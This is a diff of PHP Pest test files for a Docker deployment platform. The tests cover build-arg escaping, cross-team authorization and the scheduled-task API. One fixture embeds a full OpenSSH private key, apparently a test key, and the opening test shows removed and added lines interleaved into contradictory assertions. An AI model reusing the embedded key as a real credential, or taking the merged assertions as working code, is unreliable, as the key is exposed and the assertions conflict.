expect(substr_count($arg, "\n"))->toBe(3);
});
test('multiline variable with backslashes is escaped correctly', function () {
$valueWithBackslashes = "path\\to\\file\nC:\\Windows\\System32";
$variables = [
['key' => 'PATH_VAR', 'value' => "'{$valueWithBackslashes}'", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Backslashes should be doubled
expect($arg)->toContain('path\\\\to\\\\file');
expect($arg)->toContain('C:\\\\Windows\\\\System32');
expect($arg)->toBe('--build-arg NO_FLAG_VAR');
});
test('generateDockerEnvFlags produces correct format', function () {
@@ -155,54 +70,14 @@ test('generateDockerEnvFlags produces correct format', function () {
expect($envFlags)->toContain('line2');
});
test('helper functions work with collection input', function () {
test('generateDockerEnvFlags works with collection input', function () {
$variables = collect([
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
]);
$buildArgs = generateDockerBuildArgs($variables);
expect($buildArgs)->toHaveCount(2);
$envFlags = generateDockerEnvFlags($variables);
expect($envFlags)->toBeString();
expect($envFlags)->toContain('-e VAR1=');
expect($envFlags)->toContain('-e VAR2="');
});
test('variables without is_multiline default to false', function () {
$variables = [
['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Should use escapeshellarg (single quotes) since is_multiline defaults to false
expect($arg)->toBe("--build-arg NO_FLAG_VAR='some value'");
});
test('real world SSH key example', function () {
// Simulate what real_value returns (wrapped in single quotes)
$sshKey = "'-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----'";
$variables = [
['key' => 'KEY', 'value' => $sshKey, 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Should produce clean output without wrapper quotes
expect($arg)->toStartWith('--build-arg KEY="-----BEGIN OPENSSH PRIVATE KEY-----');
expect($arg)->toEndWith('-----END OPENSSH PRIVATE KEY-----"');
// Should NOT have the escaped quote sequence that was in the bug
expect($arg)->not->toContain("''");
expect($arg)->not->toContain("'\\''");
});
+76
View File
@@ -0,0 +1,76 @@
<?php
use App\Jobs\PushServerUpdateJob;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('containers with empty service subId are skipped', function () {
$server = Server::factory()->create();
$service = Service::factory()->create([
'server_id' => $server->id,
]);
$serviceApp = ServiceApplication::factory()->create([
'service_id' => $service->id,
]);
$data = [
'containers' => [
[
'name' => 'test-container',
'state' => 'running',
'health_status' => 'healthy',
'labels' => [
'coolify.managed' => true,
'coolify.serviceId' => (string) $service->id,
'coolify.service.subType' => 'application',
'coolify.service.subId' => '',
],
],
],
];
$job = new PushServerUpdateJob($server, $data);
// Run handle - should not throw a PDOException about empty bigint
$job->handle();
// The empty subId container should have been skipped
expect($job->foundServiceApplicationIds)->not->toContain('');
expect($job->serviceContainerStatuses)->toBeEmpty();
});
test('containers with valid service subId are processed', function () {
$server = Server::factory()->create();
$service = Service::factory()->create([
'server_id' => $server->id,
]);
$serviceApp = ServiceApplication::factory()->create([
'service_id' => $service->id,
]);
$data = [
'containers' => [
[
'name' => 'test-container',
'state' => 'running',
'health_status' => 'healthy',
'labels' => [
'coolify.managed' => true,
'coolify.serviceId' => (string) $service->id,
'coolify.service.subType' => 'application',
'coolify.service.subId' => (string) $serviceApp->id,
'com.docker.compose.service' => 'myapp',
],
],
],
];
$job = new PushServerUpdateJob($server, $data);
$job->handle();
expect($job->foundServiceApplicationIds)->toContain((string) $serviceApp->id);
});
@@ -0,0 +1,85 @@
<?php
use App\Livewire\Project\Shared\ResourceOperations;
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Livewire\Livewire;
beforeEach(function () {
// Team A (attacker's team)
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
$this->applicationA = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => $this->destinationA->getMorphClass(),
]);
// Team B (victim's team)
$this->teamB = Team::factory()->create();
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('cloneTo rejects destination belonging to another team', function () {
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('cloneTo', $this->destinationB->id)
->assertHasErrors('destination_id');
// Ensure no cross-tenant application was created
expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
});
test('cloneTo allows destination belonging to own team', function () {
$secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('cloneTo', $secondDestination->id)
->assertHasNoErrors('destination_id')
->assertRedirect();
});
test('moveTo rejects environment belonging to another team', function () {
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('moveTo', $this->environmentB->id);
// Resource should still be in original environment
$this->applicationA->refresh();
expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
});
test('moveTo allows environment belonging to own team', function () {
$secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('moveTo', $secondEnvironment->id)
->assertRedirect();
$this->applicationA->refresh();
expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
});
test('StandaloneDockerPolicy denies update for cross-team user', function () {
expect($this->userA->can('update', $this->destinationB))->toBeFalse();
});
test('StandaloneDockerPolicy allows update for same-team user', function () {
expect($this->userA->can('update', $this->destinationA))->toBeTrue();
});
@@ -0,0 +1,49 @@
<?php
use App\Jobs\ScheduledJobManager;
use Illuminate\Support\Facades\Redis;
it('clears stale lock when TTL is -1', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
$redis = Redis::connection('default');
$redis->set($lockKey, 'stale-owner');
expect($redis->ttl($lockKey))->toBe(-1);
$job = new ScheduledJobManager;
$job->middleware();
expect($redis->exists($lockKey))->toBe(0);
});
it('preserves valid lock with positive TTL', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
$redis = Redis::connection('default');
$redis->set($lockKey, 'active-owner');
$redis->expire($lockKey, 60);
expect($redis->ttl($lockKey))->toBeGreaterThan(0);
$job = new ScheduledJobManager;
$job->middleware();
expect($redis->exists($lockKey))->toBe(1);
$redis->del($lockKey);
});
it('does not fail when no lock exists', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
Redis::connection('default')->del($lockKey);
$job = new ScheduledJobManager;
$middleware = $job->middleware();
expect($middleware)->toBeArray()->toHaveCount(1);
});
@@ -0,0 +1,200 @@
<?php
use App\Livewire\Settings\ScheduledJobs;
use App\Models\DockerCleanupExecution;
use App\Models\ScheduledDatabaseBackup;
use App\Models\ScheduledDatabaseBackupExecution;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use App\Services\SchedulerLogParser;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
// Create root team (id 0) and root user
$this->rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']);
$this->rootUser = User::factory()->create();
$this->rootUser->teams()->attach($this->rootTeam, ['role' => 'owner']);
// Create regular team and user
$this->regularTeam = Team::factory()->create();
$this->regularUser = User::factory()->create();
$this->regularUser->teams()->attach($this->regularTeam, ['role' => 'owner']);
});
test('scheduled jobs page requires instance admin access', function () {
$this->actingAs($this->regularUser);
session(['currentTeam' => $this->regularTeam]);
$response = $this->get(route('settings.scheduled-jobs'));
$response->assertRedirect(route('dashboard'));
});
test('scheduled jobs page is accessible by instance admin', function () {
$this->actingAs($this->rootUser);
session(['currentTeam' => $this->rootTeam]);
Livewire::test(ScheduledJobs::class)
->assertStatus(200)
->assertSee('Scheduled Job Issues');
});
test('scheduled jobs page shows failed backup executions', function () {
$this->actingAs($this->rootUser);
session(['currentTeam' => $this->rootTeam]);
$server = Server::factory()->create(['team_id' => $this->rootTeam->id]);
$backup = ScheduledDatabaseBackup::create([
'team_id' => $this->rootTeam->id,
'frequency' => '0 * * * *',
'database_id' => 1,
'database_type' => 'App\Models\StandalonePostgresql',
'enabled' => true,
]);
ScheduledDatabaseBackupExecution::create([
'scheduled_database_backup_id' => $backup->id,
'status' => 'failed',
'message' => 'Backup failed: connection timeout',
]);
Livewire::test(ScheduledJobs::class)
->assertStatus(200)
->assertSee('Backup');
});
test('scheduled jobs page shows failed cleanup executions', function () {
$this->actingAs($this->rootUser);
session(['currentTeam' => $this->rootTeam]);
$server = Server::factory()->create([
'team_id' => $this->rootTeam->id,
]);
DockerCleanupExecution::create([
'server_id' => $server->id,
'status' => 'failed',
'message' => 'Cleanup failed: disk full',
]);
Livewire::test(ScheduledJobs::class)
->assertStatus(200)
->assertSee('Cleanup');
});
test('filter by type works', function () {
$this->actingAs($this->rootUser);
session(['currentTeam' => $this->rootTeam]);
Livewire::test(ScheduledJobs::class)
->set('filterType', 'backup')
->assertStatus(200)
->set('filterType', 'cleanup')
->assertStatus(200)
->set('filterType', 'task')
->assertStatus(200);
});
test('only failed executions are shown', function () {
$this->actingAs($this->rootUser);
session(['currentTeam' => $this->rootTeam]);
$backup = ScheduledDatabaseBackup::create([
'team_id' => $this->rootTeam->id,
'frequency' => '0 * * * *',
'database_id' => 1,
'database_type' => 'App\Models\StandalonePostgresql',
'enabled' => true,
]);
ScheduledDatabaseBackupExecution::create([
'scheduled_database_backup_id' => $backup->id,
'status' => 'success',
'message' => 'Backup completed successfully',
]);
ScheduledDatabaseBackupExecution::create([
'scheduled_database_backup_id' => $backup->id,
'status' => 'failed',
'message' => 'Backup failed: connection refused',
]);
Livewire::test(ScheduledJobs::class)
->assertSee('Backup failed: connection refused')
->assertDontSee('Backup completed successfully');
});
test('filter by date range works', function () {
$this->actingAs($this->rootUser);
session(['currentTeam' => $this->rootTeam]);
Livewire::test(ScheduledJobs::class)
->set('filterDate', 'last_7d')
->assertStatus(200)
->set('filterDate', 'last_30d')
->assertStatus(200)
->set('filterDate', 'all')
->assertStatus(200);
});
test('scheduler log parser returns empty collection when no logs exist', function () {
$parser = new SchedulerLogParser;
$skips = $parser->getRecentSkips();
expect($skips)->toBeEmpty();
$runs = $parser->getRecentRuns();
expect($runs)->toBeEmpty();
})->skip(fn () => file_exists(storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log')), 'Skipped: log file already exists from other tests');
test('scheduler log parser parses skip entries correctly', function () {
$logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
$logDir = dirname($logPath);
if (! is_dir($logDir)) {
mkdir($logDir, 0755, true);
}
$logLine = '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","execution_time":"'.now()->toIso8601String().'","backup_id":1,"team_id":5}';
file_put_contents($logPath, $logLine."\n");
$parser = new SchedulerLogParser;
$skips = $parser->getRecentSkips();
expect($skips)->toHaveCount(1);
expect($skips->first()['type'])->toBe('backup');
expect($skips->first()['reason'])->toBe('server_not_functional');
expect($skips->first()['team_id'])->toBe(5);
// Cleanup
@unlink($logPath);
});
test('scheduler log parser filters by team id', function () {
$logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
$logDir = dirname($logPath);
if (! is_dir($logDir)) {
mkdir($logDir, 0755, true);
}
$lines = [
'['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","team_id":1}',
'['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"subscription_unpaid","team_id":2}',
];
file_put_contents($logPath, implode("\n", $lines)."\n");
$parser = new SchedulerLogParser;
$allSkips = $parser->getRecentSkips(100);
expect($allSkips)->toHaveCount(2);
$team1Skips = $parser->getRecentSkips(100, 1);
expect($team1Skips)->toHaveCount(1);
expect($team1Skips->first()['team_id'])->toBe(1);
// Cleanup
@unlink($logPath);
});
+365
View File
@@ -0,0 +1,365 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\ScheduledTask;
use App\Models\ScheduledTaskExecution;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function authHeaders($bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () {
test('returns empty array when no tasks exist', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
$response->assertStatus(200);
$response->assertJson([]);
});
test('returns tasks when they exist', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
ScheduledTask::factory()->create([
'application_id' => $application->id,
'team_id' => $this->team->id,
'name' => 'Test Task',
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
$response->assertStatus(200);
$response->assertJsonCount(1);
$response->assertJsonFragment(['name' => 'Test Task']);
});
test('returns 404 for unknown application uuid', function () {
$response = $this->withHeaders(authHeaders($this->bearerToken))
->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks');
$response->assertStatus(404);
});
});
describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
test('creates a task with valid data', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'name' => 'Backup',
'command' => 'php artisan backup',
'frequency' => '0 0 * * *',
]);
$response->assertStatus(201);
$response->assertJsonFragment(['name' => 'Backup']);
$this->assertDatabaseHas('scheduled_tasks', [
'name' => 'Backup',
'command' => 'php artisan backup',
'frequency' => '0 0 * * *',
'application_id' => $application->id,
'team_id' => $this->team->id,
]);
});
test('returns 422 when name is missing', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'command' => 'echo test',
'frequency' => '* * * * *',
]);
$response->assertStatus(422);
});
test('returns 422 for invalid cron expression', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'name' => 'Test',
'command' => 'echo test',
'frequency' => 'not-a-cron',
]);
$response->assertStatus(422);
$response->assertJsonPath('errors.frequency.0', 'Invalid cron expression or frequency format.');
});
test('returns 422 when extra fields are present', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'name' => 'Test',
'command' => 'echo test',
'frequency' => '* * * * *',
'unknown_field' => 'value',
]);
$response->assertStatus(422);
});
test('defaults timeout and enabled when not provided', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'name' => 'Test',
'command' => 'echo test',
'frequency' => '* * * * *',
]);
$response->assertStatus(201);
$this->assertDatabaseHas('scheduled_tasks', [
'name' => 'Test',
'timeout' => 300,
'enabled' => true,
]);
});
});
describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () {
test('updates task with partial data', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$task = ScheduledTask::factory()->create([
'application_id' => $application->id,
'team_id' => $this->team->id,
'name' => 'Old Name',
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [
'name' => 'New Name',
]);
$response->assertStatus(200);
$response->assertJsonFragment(['name' => 'New Name']);
});
test('returns 404 when task not found', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [
'name' => 'Test',
]);
$response->assertStatus(404);
});
});
describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () {
test('deletes task successfully', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$task = ScheduledTask::factory()->create([
'application_id' => $application->id,
'team_id' => $this->team->id,
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}");
$response->assertStatus(200);
$response->assertJson(['message' => 'Scheduled task deleted.']);
$this->assertDatabaseMissing('scheduled_tasks', ['uuid' => $task->uuid]);
});
test('returns 404 when task not found', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent");
$response->assertStatus(404);
});
});
describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', function () {
test('returns executions for a task', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$task = ScheduledTask::factory()->create([
'application_id' => $application->id,
'team_id' => $this->team->id,
]);
ScheduledTaskExecution::create([
'scheduled_task_id' => $task->id,
'status' => 'success',
'message' => 'OK',
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions");
$response->assertStatus(200);
$response->assertJsonCount(1);
$response->assertJsonFragment(['status' => 'success']);
});
test('returns 404 when task not found', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions");
$response->assertStatus(404);
});
});
describe('Service scheduled tasks API', function () {
test('can list tasks for a service', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
ScheduledTask::factory()->create([
'service_id' => $service->id,
'team_id' => $this->team->id,
'name' => 'Service Task',
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks");
$response->assertStatus(200);
$response->assertJsonCount(1);
$response->assertJsonFragment(['name' => 'Service Task']);
});
test('can create a task for a service', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [
'name' => 'Service Backup',
'command' => 'pg_dump',
'frequency' => '0 2 * * *',
]);
$response->assertStatus(201);
$response->assertJsonFragment(['name' => 'Service Backup']);
});
test('can delete a task for a service', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
$task = ScheduledTask::factory()->create([
'service_id' => $service->id,
'team_id' => $this->team->id,
]);
$response = $this->withHeaders(authHeaders($this->bearerToken))
->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}");
$response->assertStatus(200);
$response->assertJson(['message' => 'Scheduled task deleted.']);
});
});
+110
View File
@@ -0,0 +1,110 @@
<?php
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => 'test-key-content',
'team_id' => $this->team->id,
]);
});
it('detects duplicate ip within the same team', function () {
Server::factory()->create([
'ip' => '1.2.3.4',
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
]);
$foundServer = Server::whereIp('1.2.3.4')->first();
expect($foundServer)->not->toBeNull();
expect($foundServer->team_id)->toBe($this->team->id);
});
it('detects duplicate ip from another team', function () {
$otherTeam = Team::factory()->create();
Server::factory()->create([
'ip' => '5.6.7.8',
'team_id' => $otherTeam->id,
]);
$foundServer = Server::whereIp('5.6.7.8')->first();
expect($foundServer)->not->toBeNull();
expect($foundServer->team_id)->not->toBe($this->team->id);
});
it('shows correct error message for same team duplicate in boarding', function () {
Server::factory()->create([
'ip' => '1.2.3.4',
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
]);
$foundServer = Server::whereIp('1.2.3.4')->first();
if ($foundServer->team_id === currentTeam()->id) {
$message = 'A server with this IP/Domain already exists in your team.';
} else {
$message = 'A server with this IP/Domain is already in use by another team.';
}
expect($message)->toBe('A server with this IP/Domain already exists in your team.');
});
it('shows correct error message for other team duplicate in boarding', function () {
$otherTeam = Team::factory()->create();
Server::factory()->create([
'ip' => '5.6.7.8',
'team_id' => $otherTeam->id,
]);
$foundServer = Server::whereIp('5.6.7.8')->first();
if ($foundServer->team_id === currentTeam()->id) {
$message = 'A server with this IP/Domain already exists in your team.';
} else {
$message = 'A server with this IP/Domain is already in use by another team.';
}
expect($message)->toBe('A server with this IP/Domain is already in use by another team.');
});
it('allows adding ip that does not exist globally', function () {
$foundServer = Server::whereIp('10.20.30.40')->first();
expect($foundServer)->toBeNull();
});
it('enforces global uniqueness not just team-scoped', function () {
$otherTeam = Team::factory()->create();
Server::factory()->create([
'ip' => '9.8.7.6',
'team_id' => $otherTeam->id,
]);
// Global check finds the server even though it belongs to another team
$foundServer = Server::whereIp('9.8.7.6')->first();
expect($foundServer)->not->toBeNull();
// Team-scoped check would miss it - this is why global check is needed
$teamScopedServer = Server::where('team_id', $this->team->id)
->where('ip', '9.8.7.6')
->first();
expect($teamScopedServer)->toBeNull();
});
+77
View File
@@ -0,0 +1,77 @@
<?php
use App\Models\Environment;
use App\Models\Project;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\ServiceDatabase;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('returns the correct team through the service relationship chain', function () {
$team = Team::factory()->create();
$project = Project::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'Test Project',
'team_id' => $team->id,
]);
$environment = Environment::create([
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
'project_id' => $project->id,
]);
$service = Service::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'supabase',
'environment_id' => $environment->id,
'destination_id' => 1,
'destination_type' => 'App\Models\StandaloneDocker',
'docker_compose_raw' => 'version: "3"',
]);
$serviceDatabase = ServiceDatabase::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'supabase-db',
'service_id' => $service->id,
]);
expect($serviceDatabase->team())->not->toBeNull()
->and($serviceDatabase->team()->id)->toBe($team->id);
});
it('returns the correct team for ServiceApplication through the service relationship chain', function () {
$team = Team::factory()->create();
$project = Project::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'Test Project',
'team_id' => $team->id,
]);
$environment = Environment::create([
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
'project_id' => $project->id,
]);
$service = Service::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'supabase',
'environment_id' => $environment->id,
'destination_id' => 1,
'destination_type' => 'App\Models\StandaloneDocker',
'docker_compose_raw' => 'version: "3"',
]);
$serviceApplication = ServiceApplication::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'supabase-studio',
'service_id' => $service->id,
]);
expect($serviceApplication->team())->not->toBeNull()
->and($serviceApplication->team()->id)->toBe($team->id);
});
+45
View File
@@ -0,0 +1,45 @@
<?php
use App\Actions\Database\StartDatabaseProxy;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Notification;
uses(RefreshDatabase::class);
beforeEach(function () {
Notification::fake();
});
test('database proxy is disabled on port already allocated error', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
'is_public' => true,
'public_port' => 5432,
]);
expect($database->is_public)->toBeTrue();
$action = new StartDatabaseProxy;
// Use reflection to test the private method directly
$method = new ReflectionMethod($action, 'isNonTransientError');
expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue();
expect($method->invoke($action, 'address already in use'))->toBeTrue();
expect($method->invoke($action, 'some other error'))->toBeFalse();
});
test('isNonTransientError detects port conflict patterns', function () {
$action = new StartDatabaseProxy;
$method = new ReflectionMethod($action, 'isNonTransientError');
expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue()
->and($method->invoke($action, 'address already in use'))->toBeTrue()
->and($method->invoke($action, 'Bind for 0.0.0.0:3306 failed: port is already allocated'))->toBeTrue()
->and($method->invoke($action, 'network timeout'))->toBeFalse()
->and($method->invoke($action, 'connection refused'))->toBeFalse();
});
@@ -0,0 +1,52 @@
<?php
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
});
describe('isAnyNotificationEnabled', function () {
test('returns false when no notifications are enabled', function () {
expect($this->team->isAnyNotificationEnabled())->toBeFalse();
});
test('returns true when email notifications are enabled', function () {
$this->team->emailNotificationSettings->update(['smtp_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when discord notifications are enabled', function () {
$this->team->discordNotificationSettings->update(['discord_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when slack notifications are enabled', function () {
$this->team->slackNotificationSettings->update(['slack_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when telegram notifications are enabled', function () {
$this->team->telegramNotificationSettings->update(['telegram_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when pushover notifications are enabled', function () {
$this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]);
